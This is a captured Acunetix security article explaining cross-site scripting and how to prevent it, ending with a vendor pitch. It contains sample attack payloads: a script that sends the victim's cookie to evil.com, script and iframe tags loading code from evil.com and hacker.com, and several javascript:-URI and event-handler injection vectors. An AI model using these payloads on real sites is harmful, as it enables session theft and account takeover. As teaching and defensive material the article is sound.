www.acunetix.com Open in urlscan Pro
54.82.177.226  Public Scan

Form analysis
1 forms found in the DOM

Name: mc-embedded-subscribe-form — POST //acunetix.us8.list-manage.com/subscribe/post?u=d7d847f8382b52d46a6547bcd&id=fbd39501d7

<form data-category="Form" data-action="Subscribe" data-label="Newsletter" data-value="" class="eventTracking" action="//acunetix.us8.list-manage.com/subscribe/post?u=d7d847f8382b52d46a6547bcd&amp;id=fbd39501d7" method="post"
  id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" target="_blank" novalidate"="" __bizdiag="182042459" __biza="WJ__">
  <div class="input-group">
    <input type="email" value="" name="EMAIL" id="mce-EMAIL" placeholder="Enter E-Mail" class="form-control">
    <span class="input-group-btn">
      <div style="position: absolute; left: -5000px;"><input type="text" name="b_d7d847f8382b52d46a6547bcd_fbd39501d7" tabindex="-1" value=""></div>
      <input type="submit" value="Subscribe" class="btn btn-default">
    </span>
  </div>
  <p class="mt10">
    <small>We respect your <a target="_blank" href="//www.acunetix.com/company/privacy" rel="noopener noreferrer">privacy</a>
    </small>
  </p>
</form>

Text Content

Get a demo Toggle navigation Get a demo
 * Product
 * Why Acunetix?
   * Solutions
     * INDUSTRIES
       * IT & Telecom
       * Government
       * Financial Services
       * Education
       * Healthcare
     * ROLES
       * CTO & CISO
       * Engineering Manager
       * Security Engineer
       * DevSecOps
   * Case Studies
   * Customers
   * Testimonials
 * Pricing
 * About Us
   * Our story
   * In the news
   * Careers
   * Contact
 * Resources
   * Blog
   * Webinars
   * White papers
   * Buyer’s guide
   * Partners
   * Support
 * Get a demo


CROSS-SITE SCRIPTING (XSS)

Cross-site Scripting (XSS) is a client-side code injection attack. The attacker
aims to execute malicious scripts in a web browser of the victim by including
malicious code in a legitimate web page or web application. The actual attack
occurs when the victim visits the web page or web application that executes the
malicious code. The web page or web application becomes a vehicle to deliver the
malicious script to the user’s browser. Vulnerable vehicles that are commonly
used for Cross-site Scripting attacks are forums, message boards, and web pages
that allow comments.

A web page or web application is vulnerable to XSS if it uses unsanitized user
input in the output that it generates. This user input must then be parsed by
the victim’s browser. XSS attacks are possible in VBScript, ActiveX, Flash, and
even CSS. However, they are most common in JavaScript, primarily because
JavaScript is fundamental to most browsing experiences.




“ISN’T CROSS-SITE SCRIPTING THE USER’S PROBLEM?”

If an attacker can abuse an XSS vulnerability on a web page to execute arbitrary
JavaScript in a user’s browser, the security of that vulnerable website or
vulnerable web application and its users has been compromised. XSS is not the
user’s problem like any other security vulnerability. If it is affecting your
users, it affects you.

Cross-site Scripting may also be used to deface a website instead of targeting
the user. The attacker can use injected scripts to change the content of the
website or even redirect the browser to another web page, for example, one that
contains malicious code.


WHAT CAN THE ATTACKER DO WITH JAVASCRIPT?

XSS vulnerabilities are perceived as less dangerous than for example SQL
Injection vulnerabilities. Consequences of the ability to execute JavaScript on
a web page may not seem dire at first. Most web browsers run JavaScript in a
very tightly controlled environment. JavaScript has limited access to the user’s
operating system and the user’s files. However, JavaScript can still be
dangerous if misused as part of malicious content:

 * Malicious JavaScript has access to all the objects that the rest of the web
   page has access to. This includes access to the user’s cookies. Cookies are
   often used to store session tokens. If an attacker can obtain a user’s
   session cookie, they can impersonate that user, perform actions on behalf of
   the user, and gain access to the user’s sensitive data.
 * JavaScript can read the browser DOM and make arbitrary modifications to it.
   Luckily, this is only possible within the page where JavaScript is running.
 * JavaScript can use the XMLHttpRequest object to send HTTP requests with
   arbitrary content to arbitrary destinations.
 * JavaScript in modern browsers can use HTML5 APIs. For example, it can gain
   access to the user’s geolocation, webcam, microphone, and even specific files
   from the user’s file system. Most of these APIs require user opt-in, but the
   attacker can use social engineering to go around that limitation.

The above, in combination with social engineering, allow criminals to pull off
advanced attacks including cookie theft, planting trojans, keylogging, phishing,
and identity theft. XSS vulnerabilities provide the perfect ground to escalate
attacks to more serious ones. Cross-site Scripting can also be used in
conjunction with other types of attacks, for example, Cross-Site Request Forgery
(CSRF).

There are several types of Cross-site Scripting attacks: stored/persistent XSS,
reflected/non-persistent XSS, and DOM-based XSS. You can read more about them in
an article titled Types of XSS.


HOW CROSS-SITE SCRIPTING WORKS

There are two stages to a typical XSS attack:

 1. To run malicious JavaScript code in a victim’s browser, an attacker must
    first find a way to inject malicious code (payload) into a web page that the
    victim visits.
 2. After that, the victim must visit the web page with the malicious code. If
    the attack is directed at particular victims, the attacker can use social
    engineering and/or phishing to send a malicious URL to the victim.

For step one to be possible, the vulnerable website needs to directly include
user input in its pages. An attacker can then insert a malicious string that
will be used within the web page and treated as source code by the victim’s
browser. There are also variants of XSS attacks where the attacker lures the
user to visit a URL using social engineering and the payload is part of the link
that the user clicks.

The following is a snippet of server-side pseudocode that is used to display the
most recent comment on a web page:

print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"

The above script simply takes the latest comment from a database and includes it
in an HTML page. It assumes that the comment printed out consists of only text
and contains no HTML tags or other code. It is vulnerable to XSS, because an
attacker could submit a comment that contains a malicious payload, for example:

<script>doSomethingEvil();</script>

The web server provides the following HTML code to users that visit this web
page:

<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>

When the page loads in the victim’s browser, the attacker’s malicious script
executes. Most often, the victim does not realize it and is unable to prevent
such an attack.


STEALING COOKIES USING XSS

Criminals often use XSS to steal cookies. This allows them to impersonate the
victim. The attacker can send the cookie to their own server in many ways. One
of them is to execute the following client-side script in the victim’s browser:

<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>

The figure below illustrates a step-by-step walkthrough of a simple XSS attack.



 

 1. The attacker injects a payload into the website’s database by submitting a
    vulnerable form with malicious JavaScript content.
 2. The victim requests the web page from the web server.
 3. The web server serves the victim’s browser the page with attacker’s payload
    as part of the HTML body.
 4. The victim’s browser executes the malicious script contained in the HTML
    body. In this case, it sends the victim’s cookie to the attacker’s server.
 5. The attacker now simply needs to extract the victim’s cookie when the HTTP
    request arrives at the server.
 6. The attacker can now use the victim’s stolen cookie for impersonation.

To learn more about how XSS attacks are conducted, you can refer to an article
titled A comprehensive tutorial on cross-site scripting.


CROSS-SITE SCRIPTING ATTACK VECTORS

The following is a list of common XSS attack vectors that an attacker could use
to compromise the security of a website or web application through an XSS
attack. A more extensive list of XSS payload examples is maintained by the OWASP
organization: XSS Filter Evasion Cheat Sheet.


<SCRIPT> TAG

The <script> tag is the most straightforward XSS payload. A script tag can
reference external JavaScript code or you can embed the code within the script
tag itself.

<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>


JAVASCRIPT EVENTS

JavaScript event attributes such as onload and onerror can be used in many
different tags. This is a very popular XSS attack vector.

<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>


<BODY> TAG

An XSS payload can be delivered inside the <body> by using event attributes (see
above) or other more obscure attributes such as the background attribute.

<!-- background attribute -->
<body background="javascript:alert("XSS")">


<IMG> TAG

Some browsers execute JavaScript found in the <img> attributes.

<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!--  tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">


<IFRAME> TAG

The <iframe> tag lets you embed another HTML page in the current page. An IFrame
may contain JavaScript but JavaScript in the IFrame does not have access to the
DOM of the parent page due to the Content Security Policy (CSP) of the browser.
However, IFrames are still very effective for pulling off phishing attacks.

<!-- <iframe> tag XSS -->
<iframe src="http://evil.com/xss.html">


<INPUT> TAG

In some browsers, if the type attribute of the <input> tag is set to image, it
can be manipulated to embed a script.

<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">


<LINK> TAG

The <link> tag, which is often used to link to external style sheets, may
contain a script.

<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">


<TABLE> TAG

The background attribute of the <table> and <td> tags can be exploited to refer
to a script instead of an image.

<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">


<DIV> TAG

The <div> tag, similar to the <table> and <td> tags, can also specify a
background and therefore embed a script.

<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">


<OBJECT> TAG

The <object> tag can be used to include a script from an external site.

<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">


IS YOUR WEBSITE OR WEB APPLICATION VULNERABLE TO CROSS-SITE SCRIPTING

Cross-site Scripting vulnerabilities are one of the most common web application
vulnerabilities. The OWASP organization (Open Web Application Security Project)
lists XSS vulnerabilities in their OWASP Top 10 2017 document as the second most
prevalent issue.

Fortunately, it’s easy to test if your website or web application is vulnerable
to XSS and other vulnerabilities by running an automated web scan using the
Acunetix vulnerability scanner, which includes a specialized XSS scanner module.
Take a demo and find out more about running XSS scans against your website or
web application. An example of how you can detect blind XSS vulnerabilities with
Acunetix is available in the following article: How to Detect Blind XSS
Vulnerabilities.


HOW TO PREVENT XSS

To keep yourself safe from XSS, you must sanitize your input. Your application
code should never output data received as input directly to the browser without
checking it for malicious code.

For more details, refer to the following articles: Preventing XSS Attacks and
How to Prevent DOM-based Cross-site Scripting. You can also find useful
information in the XSS Prevention Cheat Sheet maintained by the OWASP
organization.


HOW TO PREVENT CROSS-SITE SCRIPTING (XSS) – GENERIC TIPS

Preventing Cross-site Scripting (XSS) is not easy. Specific prevention
techniques depend on the subtype of XSS vulnerability, on user input usage
context, and on the programming framework. However, there are certain general
strategic principles that you should follow to keep your web application safe.





STEP 1: TRAIN AND MAINTAIN AWARENESS

To keep your web application safe, everyone involved in building the web
application must be aware of the risks associated with XSS vulnerabilities. You
should provide suitable security training to all your developers, QA staff,
DevOps, and SysAdmins. You can start by referring them to this page.



STEP 2: DON’T TRUST ANY USER INPUT

Treat all user input as untrusted. Any user input that is used as part of HTML
output introduces a risk of an XSS. Treat input from authenticated and/or
internal users the same way that you treat public input.



STEP 3: USE ESCAPING/ENCODING

Use an appropriate escaping/encoding technique depending on where user input is
to be used: HTML escape, JavaScript escape, CSS escape, URL escape, etc. Use
existing libraries for escaping, don’t write your own unless absolutely
necessary.



STEP 4: SANITIZE HTML

If the user input needs to contain HTML, you can’t escape/encode it because it
would break valid tags. In such cases, use a trusted and verified library to
parse and clean HTML. Choose the library depending on your development language,
for example, HtmlSanitizer for .NET or SanitizeHelper for Ruby on Rails.



STEP 5: SET THE HTTPONLY FLAG

To mitigate the consequences of a possible XSS vulnerability, set the HttpOnly
flag for cookies. If you do, such cookies will not be accessible via client-side
JavaScript.



STEP 6: USE A CONTENT SECURITY POLICY

To mitigate the consequences of a possible XSS vulnerability, also use a Content
Security Policy (CSP). CSP is an HTTP response header that lets you declare the
dynamic resources that are allowed to load depending on the request source.



STEP 7: SCAN REGULARLY (WITH ACUNETIX)

XSS vulnerabilities may be introduced by your developers or through external
libraries/modules/software. You should regularly scan your web applications
using a web vulnerability scanner such as Acunetix. If you use Jenkins, you
should install the Acunetix plugin to automatically scan every build.


FREQUENTLY ASKED QUESTIONS

HOW DOES CROSS-SITE SCRIPTING WORK?

In a Cross-site Scripting attack (XSS), the attacker uses your vulnerable web
page to deliver malicious JavaScript to your user. The user’s browser executes
this malicious JavaScript on the user’s computer. Note that about one in three
websites is vulnerable to Cross-site scripting.

Learn more about the current state of web security.

WHY IS CROSS-SITE SCRIPTING DANGEROUS?

Even though a Cross-site Scripting attack happens in the user’s browser, it may
affect your website or web application. For example, an attacker may use it to
steal user credentials and log in to your website as that user. If that user is
an administrator, the attacker gains control over your website.

See an example of a dangerous XSS attack from the past

HOW TO DISCOVER CROSS-SITE SCRIPTING?

To discover Cross-site Scripting, you may either perform manual penetration
testing or first use a vulnerability scanner. If you use a vulnerability
scanner, it will save you a lot of time and money because your penetration
testers can then focus on more challenging vulnerabilities.

Find out why it’s good to scan for vulnerabilities before hiring pen testers.

HOW TO PROTECT AGAINST CROSS-SITE SCRIPTING?

To protect against Cross-site Scripting, you must scan your website or web
application regularly or at least after every chance in the code. Then, your
developers must correct the code to eliminate the vulnerability. Contrary to
popular opinions, web application firewalls do not protect against Cross-site
Scripting, they just make the attack more difficult – the vulnerability is still
there.

See what Acunetix Premium can do for you.


RELATED POSTS:

 * Web vulnerability classes in the context of information security
   certificationsRead more
   
   

 * What is HTTP header injectionRead more
   
   

 * Scanning a Google OAuth 2.0 web applicationRead more
   
   




MOST POPULAR ARTICLES:

 * What is SQL Injection (SQLi) and How to Prevent ItRead more
 * Google Hacking: What is a Google Hack?Read more
 * Types of SQL Injection (SQLi)Read more



SUBSCRIBE BY EMAIL

Get the latest content on web security in your inbox each week.

We respect your privacy

LEARN MORE

 * IIS Security
 * Apache Troubleshooting
 * Security Scanner
 * DAST vs SAST
 * Threats, Vulnerabilities, & Risks
 * Vulnerability Assessment vs Pen Testing
 * Server Security
 * Google Hacking

BLOG CATEGORIES

 * Articles
 * Web Security Zone
 * News
 * Events
 * Product Releases
 * Product Articles



PRODUCT INFORMATION


 * AcuSensor Technology
 * AcuMonitor Technology
 * Acunetix Integrations
 * Vulnerability Scanner
 * Support Plans

USE CASES


 * Penetration Testing Software
 * Website Security Scanner
 * External Vulnerability Scanner
 * Web Application Security
 * Vulnerability Management Software

WEBSITE SECURITY


 * Cross-site Scripting
 * SQL Injection
 * Reflected XSS
 * CSRF Attacks
 * Directory Traversal

LEARN MORE


 * White Papers
 * TLS Security
 * WordPress Security
 * Web Service Security
 * Prevent SQL Injection

COMPANY


 * About Us
 * Customers
 * Become a Partner
 * Careers
 * Contact

DOCUMENTATION


 * Case Studies
 * Support
 * Videos
 * Vulnerability Index
 * Webinars

 * Login
 * Invicti Subscription Services Agreement
 * Privacy Policy
 * Terms of Use
 * Sitemap

 * Find us on Facebook
 * Follow us on Twiter
 * Follow us on LinkedIn

© Acunetix 2023, by Invicti